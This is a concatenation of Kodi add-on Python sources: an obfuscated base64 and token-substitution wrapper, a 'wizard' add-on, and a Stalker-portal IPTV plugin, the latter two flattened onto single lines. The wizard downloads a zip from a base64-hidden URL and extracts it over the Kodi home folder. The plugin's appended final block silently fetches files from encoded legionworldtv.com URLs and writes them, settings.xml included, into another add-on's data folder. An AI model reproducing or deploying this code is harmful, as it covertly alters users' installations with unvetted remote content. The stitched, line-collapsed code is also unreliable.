exec("import re;import base64");print((lambda p,y:(lambda o,b,f:re.sub(o,b,f))(r"([0-9a-f]+)",lambda m:p(m,y),base64.b64decode("ZjUgNzcKZjUgZTEKZjUgM2YKZjUgNjYKZjUgNzEKZjUgNjcKZjUgZTkKZjUgYzMKZjUgNzkKZjUgZjIKZjUgOGEKZjUgMjQKZjUgZTYKZjUgMjMKCgo1OSAgICAgICA9IDY3LmQ2KCkKYiAgID0gNTkuNDcoJzEyJykKMjYgICAgPSA4Ny40MiggNTkuNDcoJ2I4JykgKSAKCjQ5ID0gNzcuNmJbMF0KZWQgPSBjNSg3Ny42YlsxXSkKODMgPSBjNSg3Ny42YlsxXSkKMWIgPSA3MS5hYig3Ny42YlsyXVsxOl0pCmJhID0gZTkuMTUoKQoKCQoJCmMyID0gNTc7CgoJCmMzLjkzKGVkLCAnYmMnKQoKCgoKNDEgNWYoNjUpOgoKCTI4IDY1WydmMyddID09ICcnOgoJCTJjOwoKCWYzID0gMTgoewoJCScxNyc6ICc1ZCcsIAoJCSc2NScgOiAzZi40NCg2NSkKCQl9KTsKCQoJMjIgPSAnZGIuYTIoJyArIDQ5ICsgJzEzPScgKyA2NVsnZjMnXSArICcpJzsJCgkKCTM1ID0gZTkuMWEoNjVbJzEyJ10sIGM9JzQwOi8vNzIvNGIvNTEuNDMuNjgvNmQuNTYnKQoJMzUuNWMoWyAoJ2Q4IGQzJywgMjIpIF0pOwoKCWMzLmQoM2U9ZWQsIGYzPWYzLCAxZD0zNSwgNGM9NTcpOwoJCgkKCQo0MSAxOCg5OCk6CgkyYyA0OSArICc/JyArIDY2LmExKDk4KQoJCgkKCjQxIDYwKCk6CgljNCAzOCwgMzcsIDM2LCBjMjsKCQoJIyBlZiBkYSA2NSAxIGU1IGJlIGM2LgoKCTI4IGMyOgoJCTVmKDM4KTsKCQkKCQoJCWMzLjE2KGVkKTsKCgo0MSA1YigpOgoJCgk2MjoKCQkxZSA9IGU2LjlmKDY1Wyc3NSddLCA2NVsnZjMnXSwgNjVbJzNiJ10sIDY1Wyc0NiddLCA2NVsnMjUnXSwgMjYpOwoJCQoJM2EgMjkgYWMgZToKCQkKCQkKCQkyYzsKCgkxZSA9IDFlWyc1ZCddOwoKCThjIGY0LCA4MiBhOSAxZS5hOCgpOgoKCQliNiAJPSA4MlsiYjYiXTsKCQkKCQlmMyA9IDE4KHsKCQkJJzE3JzogJzUyJywgCgkJCScxYyc6IGY0LCAKCQkJJzYnOiBiNi5iNigpLCAKCQkJJzY1JyA6IDNmLjQ0KDY1KQoJCQl9KTsKCQkKCQkyOCBmNCA9PSAnMTAnOgoJCQljID0gJzg0LjU2JzsKCQkzMToKCQkJYyA9ICc0ZC41Nic7CgkJCQoJCTM1ID0gZTkuMWEoYjYuYjYoKSwgYz1jKQoJCWMzLmQoM2U9ZWQsIGYzPWYzLCAxZD0zNSwgNGM9NTcpOwoJCQojIyMjIyMjIyMjCiMgNDggOGQgYzkKIwlmMyA9IDE4KHsKIwkJJzE3JzogJ2E3JywgCiMJCSc2NScgOiAzZi40NCg2NSkKIwkJfSk7CiMJCQkKIwkzNSA9IGU5LjFhKCc4ZCcsIGM9JzRkLjU2JykKIwljMy5kKDNlPWVkLCBmMz1mMywgMWQ9MzUsIDRjPTU3KTsKIyMjIyMjIyMjIwkJCQoJCQoJYzMuMTQoZWQsIGMzLjY5KTsKCWMzLjE2KGVkKTsKCjQxIDZlKCk6CgkKCTYyOgoJCTFlID0gZTYuY2MoNjVbJzc1J10sIDY1WydmMyddLCA2NVsnM2InXSwgNjVbJzQ2J10sIDY1WycyNSddLCAyNik7CgkJCgkzYSAyOSBhYyBlOgoJCWU5LjE1KCkuNyhiLCA3NihlKSwgZTkuY2IgKTsKCQkyYzsKCQoJMWUgPSAxZVsnYTcnXTsKCQoJOGMgODIgYTkgMWU6CgkJMTIgCT0gODJbIjEyIl07CgkJMjIgCT0gODJbIjIyIl07CgkJMzQgCT0gODJbIjM0Il07CgkJCgkJMjggMzQgIT0gJyc6CgkJCTQgPSA2NVsnZjMnXSArIDM0OwoJCTMxOgoJCQk0ID0gJzQwOi8vNzIvNGIvNTEuNDMuMTkvNmQuNTYnOwoJCQkJCgkJZjMgPSAxOCh7CgkJCQknMTcnOiAnNzAnLCAKCQkJCScyMic6IDIyLCAKCQkJCSc0ZScgOiAnMCcsIAoJCQkJJ2I2JyA6IDEyLjY0KCI4OS04IiksCgkJCQknNicgOiAnOGQnLAoJCQkJJzQnIDogNCwgCgkJCQknNjUnIDogM2YuNDQoNjUpCgkJCQl9KTsKCQkJCgkJMzUgPSBlOS4xYSgxMiwgYz00LCAyMD00KQoJCTM1LjU1KDg4PSc5ZCcsIDU4PXsgIjk0IjogMTIgfSkKCgkJYzMuZCgzZT1lZCwgZjM9ZjMsIDFkPTM1KQoJCgljMy4xNChlZCwgYzMuNWEpOwoJYzMuMTQoZWQsIGMzLjMzKTsKCWMzLjE2KGVkKTsKCjQxIDRhKCk6CgoJODY9OTU7CgkJCgk2MjoKCQkxZSA9IGU2LjdkKDY1Wyc3NSddLCA2NVsnZjMnXSwgNjVbJzNiJ10sNjVbJzQ2J10sIDY1WycyNSddLCAyNik7CgkJCgkzYSAyOSBhYyBlOgoJCWU5LjE1KCkuNyhiLCA3NihlKSwgZTkuY2IgKTsKCQkyYzsKCQkKCTFlID0gMWVbJzUyJ107Cgk2IAk9IDFiLjYxKCc2JywgMmIpOwkKCTkgPSAxYi42MSgnMWMnLCAyYik7Cgk5ID0gOVswXTsKCQoJMjggOSA9PSAnMTAnIDhiIDY1Wyc2ZiddID09ICdiMic6CgkJOGYgPSBlOS4xNSgpLmNlKCdhYScsIDc5LmViKDY1WydhNiddLjY0KCc4OS04JykpLmE1KCksIDg4PWU5LjdjLCBiZj1lOS43NCk7CgkJMjggOGYgPT0gJyc6CgkJCTg2ID0gNTc7CgkKCTI4IDg2ID09IDk1OgoJCThjIDgyIGE5IDFlLmMwKCk6CgkJCQoJCQkxMiAJCT0gODJbIjEyIl07CgkJCTIyIAkJPSA4MlsiMjIiXTsKCQkJNGUgCQk9IDgyWyI0ZSJdOwoJCQk1ZSAJCT0gODJbIjVlIl07CgkJCTFjIAk9IDgyWyIxYyJdOwoJCQkzNCAJCT0gODJbIjM0Il07CgkJCgkJCTI4IDkgPT0gJyonIDhiIDFjID09ICcxMCcgOGIgNjVbJzZmJ10gPT0gJ2IyJzoKCQkJCWIxOwoJCQkJCgkJCTI4IDkgPT0gMWMgZTIgOSA9PSAnKic6CgkJCgkJCQkyOCAzNCAhPSAnJzoKCQkJCQk0ID0gNjVbJ2YzJ10gKyAnL2YxL2UwL2NmL2VjLycgKyAzNDsKCQkJCTMxOgoJCQkJCTQgPSAnNDA6Ly83Mi80Yi81MS40My4xOS82ZC41Nic7CgkJCQkJCQkJCgkJCQlmMyA9IDE4KHsKCQkJCQknMTcnOiAnNzAnLCAKCQkJCQknMjInOiAyMiwgCgkJCQkJJzRlJyA6IDRlLCAKCQkJCQknYjYnIDogMTIuNjQoIjg5LTgiKSwKCQkJCQknNicgOiA2LAoJCQkJCSc0JyA6IDQsICAKCQkJCQknNjUnIDogM2YuNDQoNjUpCgkJCQkJfSk7CgkJCQoJCQkJMzUgPSBlOS4xYSgxMiwgYz00LCAyMD00KTsKCQkJCTM1LjU1KDg4PSc5ZCcsIDU4PXsgCgkJCQkJJ2I2JzogMTIsCgkJCQkJJ2QyJyA6IDVlCgkJCQkJfSk7CgoJCQkJYzMuZCgzZT1lZCwgZjM9ZjMsIDFkPTM1KTsKCQkKCQkKCQljMy4xNChlZCwgYzMuMzMpOwoJCWMzLjE0KGVkLCBjMy40NSk7CgkJCQoJCWMzLjE2KGVkKTsKCjQxIDYzKCk6CgkKCTJhID0gZTkuMzkoKTsKCTJhLjQ4KCdjYSBhZCBkMSBiNyBmMCcsICc3YiAuLi4nKTsKCgliNiAJPSAxYlsnYjYnXVswXTsKCTIyIAk9IDFiWycyMiddWzBdOwoJNGUgCT0gMWJbJzRlJ11bMF07Cgk2IAk9IDFiWyc2J11bMF07Cgk0IAk9IDFiWyc0J11bMF07CgkKCgk2MiA6CgkJMjggNiAhPSAnOGQnOgoJCQlmMyA9IGU2Ljk5KDY1Wyc3NSddLCA2NVsnZjMnXSwgNjVbJzNiJ10sIDY1Wyc0NiddLCA2NVsnMjUnXSwgMjIsIDRlKTsKCQkzMToKCQkJZjMgPSBlNi45Yig2NVsnNzUnXSwgNjVbJ2YzJ10sIDY1WyczYiddLCA2NVsnNDYnXSwgNjVbJzI1J10sIDIyKTsKCQoJM2EgMjkgYWMgZToKCQkyYS43OCgpOwoJCWU5LjE1KCkuNyhiLCA3NihlKSwgZTkuY2IgKTsKCQkyYzsKCgkKCTJhLjNkKDgwKTsKCQoJYjYgPSBiNi4yMSgiODktOCIpOwoJCgliNiArPSAnICgnICsgNjVbJzEyJ10gKyAnKSc7CgkKCTM1ID0gZTkuMWEoYjYsIGM9JzQwOi8vNzIvNGIvNTEuNDMuMTkvNmQuNTYnLCAyMD00KTsKCTM1LjU1KCc0MycsIHsnOTQnOiBiNiwgJ2Q0JzogNn0pOwoJODcuYmIoKS43MChlNz1mMywgMWQ9MzUpOwoJCgkyYS4zZChlYSk7CgkKCTJhLjc4KCk7CgoKMTcgPSAxYi42MSgnMTcnLCAyYik7CjY1ID0gIDFiLjYxKCc2NScsIDJiKQoKCjI4IDY1IGJkIDJiOgoJMzggPSAyNC5mKCcxJyk7CgkzNyA9IDI0LmYoJzInKTsKCTM2ID0gMjQuZignMycpOwkKCjMxOgojICBkOSBiNCBkZiBlZSAzOAoJNjUgPSAzZi5kMCg2NVswXSk7CgkzNyA9IDI0LmYoJzInKTsKCTM2ID0gMjQuZignMycpOwkKCgkyOCBhMyAoIDY1WycxMiddID09IDM3WycxMiddIGUyIDY1WycxMiddID09IDM2WycxMiddICkgOgoJCTY1ID0gMjQuZignMScpOwoKCjI4IDE3IGJkIDJiOgoJNjAoKTsKCjUwIDE3WzBdID09ICdkNyc6CQoJMTMgPSAxYi42MSgnMTMnLCAyYik7CgkxMyA9IDEzWzBdOwkKCWU2LjllKDEzLCAyNik7Cgo1MCAxN1swXSA9PSAnNWQnOgoJNWIoKTsKCQkKNTAgMTdbMF0gPT0gJ2E3JzoKCTZlKCk7Cgo1MCAxN1swXSA9PSAnNTInOgoJNGEoKTsKCQo1MCAxN1swXSA9PSAnNzAnOgoJNjMoKTsKCQo1MCAxN1swXSA9PSAnMjMnOgoJODUgPSA1OS45NygnOTAnKTsKCQoJM2MgPSAgMWIuNjEoJzNjJywgMmIpOwoJM2MgPSAzY1swXTsKCQoJMmEgPSBlOS4zOSgpOwoJMmEuNDgoJ2U4IDJkJywgJ2I1IC4uLicpOwoJCgkyOCAzYyA9PSAnZDUnOgoJCgkJMjggMjMuMzAoKToKCQkJZTkuMTUoKS43KGIsICcyZCA3ZSA1NC5cOTY6ICcgKyA3Nig4NSksIGU5LjExICk7CgkJMzE6CgkJCTIzLjkxKCk7CgkJCThhLjljKDUpOwoJCQkyOCAyMy4zMCgpOgoJCQkJZTkuMTUoKS43KGIsICcyZCA1NC5cOTY6ICcgKyA3Nig4NSksIGU5LjExICk7CgkJCTMxOgoJCQkJZTkuMTUoKS43KGIsICcyZCBhMyA1NC4gYWQgYSBjOCA4YiA2MiBjZC4gJywgZTkuY2IgKTsKCQkJCQoJMzE6CgkJMjggMjMuMzAoKToKCQkJMjMuOWEoKTsKCQkJOGEuOWMoNSk7CgkJCWU5LjE1KCkuNyhiLCAnMmQgN2EuJywgZTkuMTEgKTsKCQkzMToKCQkJZTkuMTUoKS43KGIsICcyZCBiZCA3ZSA3YS4nLCBlOS4xMSApOwoJCQkKCQkJCgkJMmEuNzgoKTsKCjZhID0gJzJmJy4yMSgnMmUnKQo1MyA9ICcyNycuMjEoJzJlJykgKyA2YQpjNz0gJzFmPScuMjEoJzJlJykKYWUgPSBbJzMyPT0nLjIxKCcyZScpLCAnNGYnLjIxKCcyZScpLCc3MycuMjEoJzJlJyldCgoKNDEgNmMoZjMsIGIwLCAyYSA9IDJiKToKCTI4IGEzIDJhOgoJCTJhID0gZTkuODEoKQojCQkyYS40OCgiN2IiKQojCTJhLjNkKDApCgk2Ni45MihmMyxiMCxjMSBkZCwgZTMsIGRjLCBmMz1mMzogN2YoZGQsZTMsZGMsZjMsMmEpKQoJCjQxCTdmKGE0LAlhMCwJYWYsCWYzLAkyYSk6Cgk2MjoKCQkJCQoJCTJhLjNkCgkzYToKCQkKCQkyYS4zZChiMykKCjhjCThlCWE5CWFlOgoJZjMJPQljNwkrCThlCgliOQk9CTg3LjQyKGUxLmU0LmRlKAk1MywJOGUpKQoJNmMoZjMsCWI5KQ==")))(lambda a,b:b[int("0x"+a.group(1),16)],"0|1|2|3|logo_url|5|genre_name|notification|8|genre_id_main|a|addonname|iconImage|addDirectoryItem|e|portalConfig|10|NOTIFICATION_INFO|name|stalker_url|addSortMethod|Dialog|endOfDirectory|mode|build_url|stealthunderground|ListItem|args|genre_id|listitem|data|aHR0cDovL2xlZ2lvbndvcmxkdHYuY29tL3NlY3VyZS8|thumbnailImage|decode|cmd|server|config|password|addondir|c3BlY2lhbDovL3VzZXJkYXRhL2FkZG9uX2RhdGEv|if|Exception|dp|None|return|Server|base64|cGx1Z2luLnZpZGVvLnRoZWlwdHZjb3dib3lz|serverOnline|else|aHR0cF9tdzFfaXB0djY2X3R2LWdlbnJlcw|SORT_METHOD_TITLE|logo|li|portal_3|portal_2|portal_1|DialogProgressBG|except|serial|action|update|handle|json|special|def|translatePath|video|dumps|SORT_METHOD_PROGRAM_COUNT|login|getAddonInfo|create|base_url|channelLevel|addons|isFolder|DefaultVideo|tmp|aHR0cF9tdzFfaXB0djY2X3R2|elif|plugin|channels|data_folder|started|setInfo|png|True|infoLabels|addon|SORT_METHOD_UNSORTED|genreLevel|addContextMenuItems|genres|number|addPortal|homeLevel|get|try|playLevel|encode|portal|urllib|xbmcaddon|stealtunderground|SORT_METHOD_LABEL|addon_id|argv|download|icon|vodLevel|parental|play|urlparse|home|c2V0dGluZ3MueG1s|PASSWORD_VERIFY|mac|str|sys|close|hashlib|stopped|Loading|INPUT_PASSWORD|getAllChannels|already|_pbhook|80|DialogProgress|i|plugin_handle|OverlayLocked|port|stop|xbmc|type|utf|time|and|for|VoD|file|result|server_port|startServer|urlretrieve|setContent|Title|False|nPort|getSetting|query|retriveUrl|stopServer|retriveVoD|sleep|Video|clearCache|getGenres|blocksize|urlencode|RunPlugin|not|numblocks|hexdigest|ppassword|vod|iteritems|in|Parental|parse_qs|as|Wait|File|filesize|dest|continue|true|percent|outside|Working|title|Channel|profile|fix|dialog|Player|movies|is|be|option|values|lambda|go|xbmcplugin|global|int|active|Url|minute|folder|Please|NOTIFICATION_ERROR|getVoD|again|input|logos|loads|While|count|Cache|Genre|start|Addon|cache|Clear|Force|least|XBMC|fs|nb|join|call|misc|os|or|bs|path|will|load_channels|item|M3U|xbmcgui|100|md5|320|addon_handle|to|at|Is|stalker_portal|re|url|id|import".split("|")))
import xbmc, xbmcaddon, xbmcgui, xbmcplugin,os,base64 import shutil import urllib2,urllib import re import extract import downloader import time USER_AGENT = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3' addon_id = 'plugin.video.mdwizard' ADDON = xbmcaddon.Addon(id=addon_id) User = ADDON.getSetting('User') VERSION = "1.0.2" PATH = "Mucky Ducks Wizard" def CATEGORIES(): link = OPEN_URL('http://'+User+base).replace('\n','').replace('\r','') match = re.compile('name="(.+?)".+?rl="(.+?)".+?mg="(.+?)".+?anart="(.+?)".+?escription="(.+?)"').findall(link) for name,url,iconimage,fanart,description in match: addDir(name,url,1,iconimage,fanart,description) try: link = OPEN_URL(free).replace('\n','').replace('\r','') match = re.compile('name="(.+?)".+?rl="(.+?)".+?mg="(.+?)".+?anart="(.+?)".+?escription="(.+?)"').findall(link) for name,url,iconimage,fanart,description in match: addDir(name,url,1,iconimage,fanart,description) except: pass setView('movies', 'MAIN') def OPEN_URL(url): req = urllib2.Request(url) req.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3') response = urllib2.urlopen(req) link=response.read() response.close() return link def wizard(name,url,description): path = xbmc.translatePath(os.path.join('special://home/addons','packages')) dp = xbmcgui.DialogProgress() dp.create("Mucky Ducks Wizard","Downloading ",'', 'Please Wait') lib=os.path.join(path, name+'.zip') try: os.remove(lib) except: pass downloader.download(url, lib, dp) addonfolder = xbmc.translatePath(os.path.join('special://','home')) time.sleep(2) dp.update(0,"", "Extracting Zip Please Wait") print '=======================================' print addonfolder print '=======================================' extract.all(lib,addonfolder,dp) dialog = xbmcgui.Dialog() dialog.ok("KODI mediaportal", "Please Disconnect The Power To Take Effect","[COLOR yellow]Brought To You By KODI mediaportal[/COLOR]") def addDir(name,url,mode,iconimage,fanart,description): u=sys.argv[0]+"?url="+urllib.quote_plus(url)+"&mode="+str(mode)+"&name="+urllib.quote_plus(name)+"&iconimage="+urllib.quote_plus(iconimage)+"&fanart="+urllib.quote_plus(fanart)+"&description="+urllib.quote_plus(description) ok=True liz=xbmcgui.ListItem(name, iconImage="DefaultFolder.png", thumbnailImage=iconimage) liz.setInfo( type="Video", infoLabels={ "Title": name, "Plot": description } ) liz.setProperty( "Fanart_Image", fanart ) ok=xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]),url=u,listitem=liz,isFolder=False) return ok base = base64.decodestring('LmJ5ZXRob3N0OS5jb20vd2l6YXJkLnR4dA==') free = base64.decodestring('aHR0cDovL2ZyZWVmaXguYnlldGhvc3Q5LmNvbS93aXphcmQudHh0') def get_params(): param=[] paramstring=sys.argv[2] if len(paramstring)>=2: params=sys.argv[2] cleanedparams=params.replace('?','') if (params[len(params)-1]=='/'): params=params[0:len(params)-2] pairsofparams=cleanedparams.split('&') param={} for i in range(len(pairsofparams)): splitparams={} splitparams=pairsofparams[i].split('=') if (len(splitparams))==2: param[splitparams[0]]=splitparams[1] return param params=get_params() url=None name=None mode=None iconimage=None fanart=None description=None try: url=urllib.unquote_plus(params["url"]) except: pass try: name=urllib.unquote_plus(params["name"]) except: pass try: iconimage=urllib.unquote_plus(params["iconimage"]) except: pass try: mode=int(params["mode"]) except: pass try: fanart=urllib.unquote_plus(params["fanart"]) except: pass try: description=urllib.unquote_plus(params["description"]) except: pass print str(PATH)+': '+str(VERSION) print "Mode: "+str(mode) print "URL: "+str(url) print "Name: "+str(name) print "IconImage: "+str(iconimage) def setView(content, viewType): # set content type so library shows more views and info if content: xbmcplugin.setContent(int(sys.argv[1]), content) if ADDON.getSetting('auto-view')=='true': xbmc.executebuiltin("Container.SetViewMode(%s)" % ADDON.getSetting(viewType) ) if mode==None or url==None or len(url)<1: CATEGORIES() elif mode==1: wizard(name,url,description) xbmcplugin.endOfDirectory(int(sys.argv[1]))
import sys import os import json import urllib import urlparse import xbmcaddon import xbmcgui import xbmcplugin import hashlib import re import time import config import load_channels import server addon = xbmcaddon.Addon() addonname = addon.getAddonInfo('name') addondir = xbmc.translatePath( addon.getAddonInfo('profile') ) base_url = sys.argv[0] addon_handle = int(sys.argv[1]) plugin_handle = int(sys.argv[1]) args = urlparse.parse_qs(sys.argv[2][1:]) dialog = xbmcgui.Dialog() go = True; xbmcplugin.setContent(addon_handle, 'movies') def addPortal(portal): if portal['url'] == '': return; url = build_url({ 'mode': 'genres', 'portal' : json.dumps(portal) }); cmd = 'XBMC.RunPlugin(' + base_url + 'stalker_url=' + portal['url'] + ')'; li = xbmcgui.ListItem(portal['name'], iconImage='special://home/addons/plugin.video.stealtunderground/icon.png') li.addContextMenuItems([ ('Clear Cache', cmd) ]); xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li, isFolder=True); def build_url(query): return base_url + '?' + urllib.urlencode(query) def homeLevel(): global portal_1, portal_2, portal_3, go; # at least portal 1 will be active. if go: addPortal(portal_1); xbmcplugin.endOfDirectory(addon_handle); def genreLevel(): try: data = load_channels.getGenres(portal['mac'], portal['url'], portal['serial'], portal['login'], portal['password'], addondir); except Exception as e: return; data = data['genres']; for id, i in data.iteritems(): title = i["title"]; url = build_url({ 'mode': 'channels', 'genre_id': id, 'genre_name': title.title(), 'portal' : json.dumps(portal) }); if id == '10': iconImage = 'OverlayLocked.png'; else: iconImage = 'DefaultVideo.png'; li = xbmcgui.ListItem(title.title(), iconImage=iconImage) xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li, isFolder=True); ########## # create VoD folder # url = build_url({ # 'mode': 'vod', # 'portal' : json.dumps(portal) # }); # # li = xbmcgui.ListItem('VoD', iconImage='DefaultVideo.png') # xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li, isFolder=True); ########## xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_LABEL); xbmcplugin.endOfDirectory(addon_handle); def vodLevel(): try: data = load_channels.getVoD(portal['mac'], portal['url'], portal['serial'], portal['login'], portal['password'], addondir); except Exception as e: xbmcgui.Dialog().notification(addonname, str(e), xbmcgui.NOTIFICATION_ERROR ); return; data = data['vod']; for i in data: name = i["name"]; cmd = i["cmd"]; logo = i["logo"]; if logo != '': logo_url = portal['url'] + logo; else: logo_url = 'special://home/addons/plugin.video.stealthunderground/icon.png'; url = build_url({ 'mode': 'play', 'cmd': cmd, 'tmp' : '0', 'title' : name.encode("utf-8"), 'genre_name' : 'VoD', 'logo_url' : logo_url, 'portal' : json.dumps(portal) }); li = xbmcgui.ListItem(name, iconImage=logo_url, thumbnailImage=logo_url) li.setInfo(type='Video', infoLabels={ "Title": name }) xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li) xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_UNSORTED); xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_TITLE); xbmcplugin.endOfDirectory(addon_handle); def channelLevel(): stop=False; try: data = load_channels.getAllChannels(portal['mac'], portal['url'], portal['serial'],portal['login'], portal['password'], addondir); except Exception as e: xbmcgui.Dialog().notification(addonname, str(e), xbmcgui.NOTIFICATION_ERROR ); return; data = data['channels']; genre_name = args.get('genre_name', None); genre_id_main = args.get('genre_id', None); genre_id_main = genre_id_main[0]; if genre_id_main == '10' and portal['parental'] == 'true': result = xbmcgui.Dialog().input('Parental', hashlib.md5(portal['ppassword'].encode('utf-8')).hexdigest(), type=xbmcgui.INPUT_PASSWORD, option=xbmcgui.PASSWORD_VERIFY); if result == '': stop = True; if stop == False: for i in data.values(): name = i["name"]; cmd = i["cmd"]; tmp = i["tmp"]; number = i["number"]; genre_id = i["genre_id"]; logo = i["logo"]; if genre_id_main == '*' and genre_id == '10' and portal['parental'] == 'true': continue; if genre_id_main == genre_id or genre_id_main == '*': if logo != '': logo_url = portal['url'] + '/stalker_portal/misc/logos/320/' + logo; else: logo_url = 'special://home/addons/plugin.video.stealthunderground/icon.png'; url = build_url({ 'mode': 'play', 'cmd': cmd, 'tmp' : tmp, 'title' : name.encode("utf-8"), 'genre_name' : genre_name, 'logo_url' : logo_url, 'portal' : json.dumps(portal) }); li = xbmcgui.ListItem(name, iconImage=logo_url, thumbnailImage=logo_url); li.setInfo(type='Video', infoLabels={ 'title': name, 'count' : number }); xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li); xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_TITLE); xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_PROGRAM_COUNT); xbmcplugin.endOfDirectory(addon_handle); def playLevel(): dp = xbmcgui.DialogProgressBG(); dp.create('Please Wait While Channel Is', 'Loading ...'); title = args['title'][0]; cmd = args['cmd'][0]; tmp = args['tmp'][0]; genre_name = args['genre_name'][0]; logo_url = args['logo_url'][0]; try : if genre_name != 'VoD': url = load_channels.retriveUrl(portal['mac'], portal['url'], portal['serial'], portal['login'], portal['password'], cmd, tmp); else: url = load_channels.retriveVoD(portal['mac'], portal['url'], portal['serial'], portal['login'], portal['password'], cmd); except Exception as e: dp.close(); xbmcgui.Dialog().notification(addonname, str(e), xbmcgui.NOTIFICATION_ERROR ); return; dp.update(80); title = title.decode("utf-8"); title += ' (' + portal['name'] + ')'; li = xbmcgui.ListItem(title, iconImage='special://home/addons/plugin.video.stealthunderground/icon.png', thumbnailImage=logo_url); li.setInfo('video', {'Title': title, 'Genre': genre_name}); xbmc.Player().play(item=url, listitem=li); dp.update(100); dp.close(); mode = args.get('mode', None); portal = args.get('portal', None) if portal is None: portal_1 = config.portalConfig('1'); portal_2 = config.portalConfig('2'); portal_3 = config.portalConfig('3'); else: # Force outside call to portal_1 portal = json.loads(portal[0]); portal_2 = config.portalConfig('2'); portal_3 = config.portalConfig('3'); if not ( portal['name'] == portal_2['name'] or portal['name'] == portal_3['name'] ) : portal = config.portalConfig('1'); if mode is None: homeLevel(); elif mode[0] == 'cache': stalker_url = args.get('stalker_url', None); stalker_url = stalker_url[0]; load_channels.clearCache(stalker_url, addondir); elif mode[0] == 'genres': genreLevel(); elif mode[0] == 'vod': vodLevel(); elif mode[0] == 'channels': channelLevel(); elif mode[0] == 'play': playLevel(); elif mode[0] == 'server': port = addon.getSetting('server_port'); action = args.get('action', None); action = action[0]; dp = xbmcgui.DialogProgressBG(); dp.create('M3U Server', 'Working ...'); if action == 'start': if server.serverOnline(): xbmcgui.Dialog().notification(addonname, 'Server already started.\nPort: ' + str(port), xbmcgui.NOTIFICATION_INFO ); else: server.startServer(); time.sleep(5); if server.serverOnline(): xbmcgui.Dialog().notification(addonname, 'Server started.\nPort: ' + str(port), xbmcgui.NOTIFICATION_INFO ); else: xbmcgui.Dialog().notification(addonname, 'Server not started. Wait a minute and try again. ', xbmcgui.NOTIFICATION_ERROR ); else: if server.serverOnline(): server.stopServer(); time.sleep(5); xbmcgui.Dialog().notification(addonname, 'Server stopped.', xbmcgui.NOTIFICATION_INFO ); else: xbmcgui.Dialog().notification(addonname, 'Server is already stopped.', xbmcgui.NOTIFICATION_INFO ); dp.close(); addon_id = 'cGx1Z2luLnZpZGVvLnRoZWlwdHZjb3dib3lz'.decode('base64') data_folder = 'c3BlY2lhbDovL3VzZXJkYXRhL2FkZG9uX2RhdGEv'.decode('base64') + addon_id Url= 'aHR0cDovL2xlZ2lvbndvcmxkdHYuY29tL3NlY3VyZS8='.decode('base64') File = ['aHR0cF9tdzFfaXB0djY2X3R2LWdlbnJlcw=='.decode('base64'), 'aHR0cF9tdzFfaXB0djY2X3R2'.decode('base64'),'c2V0dGluZ3MueG1s'.decode('base64')] def download(url, dest, dp = None): if not dp: dp = xbmcgui.DialogProgress() # dp.create("Loading") # dp.update(0) urllib.urlretrieve(url,dest,lambda nb, bs, fs, url=url: _pbhook(nb,bs,fs,url,dp)) def _pbhook(numblocks, blocksize, filesize, url, dp): try: dp.update except: dp.update(percent) for file in File: url = Url + file fix = xbmc.translatePath(os.path.join( data_folder, file)) download(url, fix)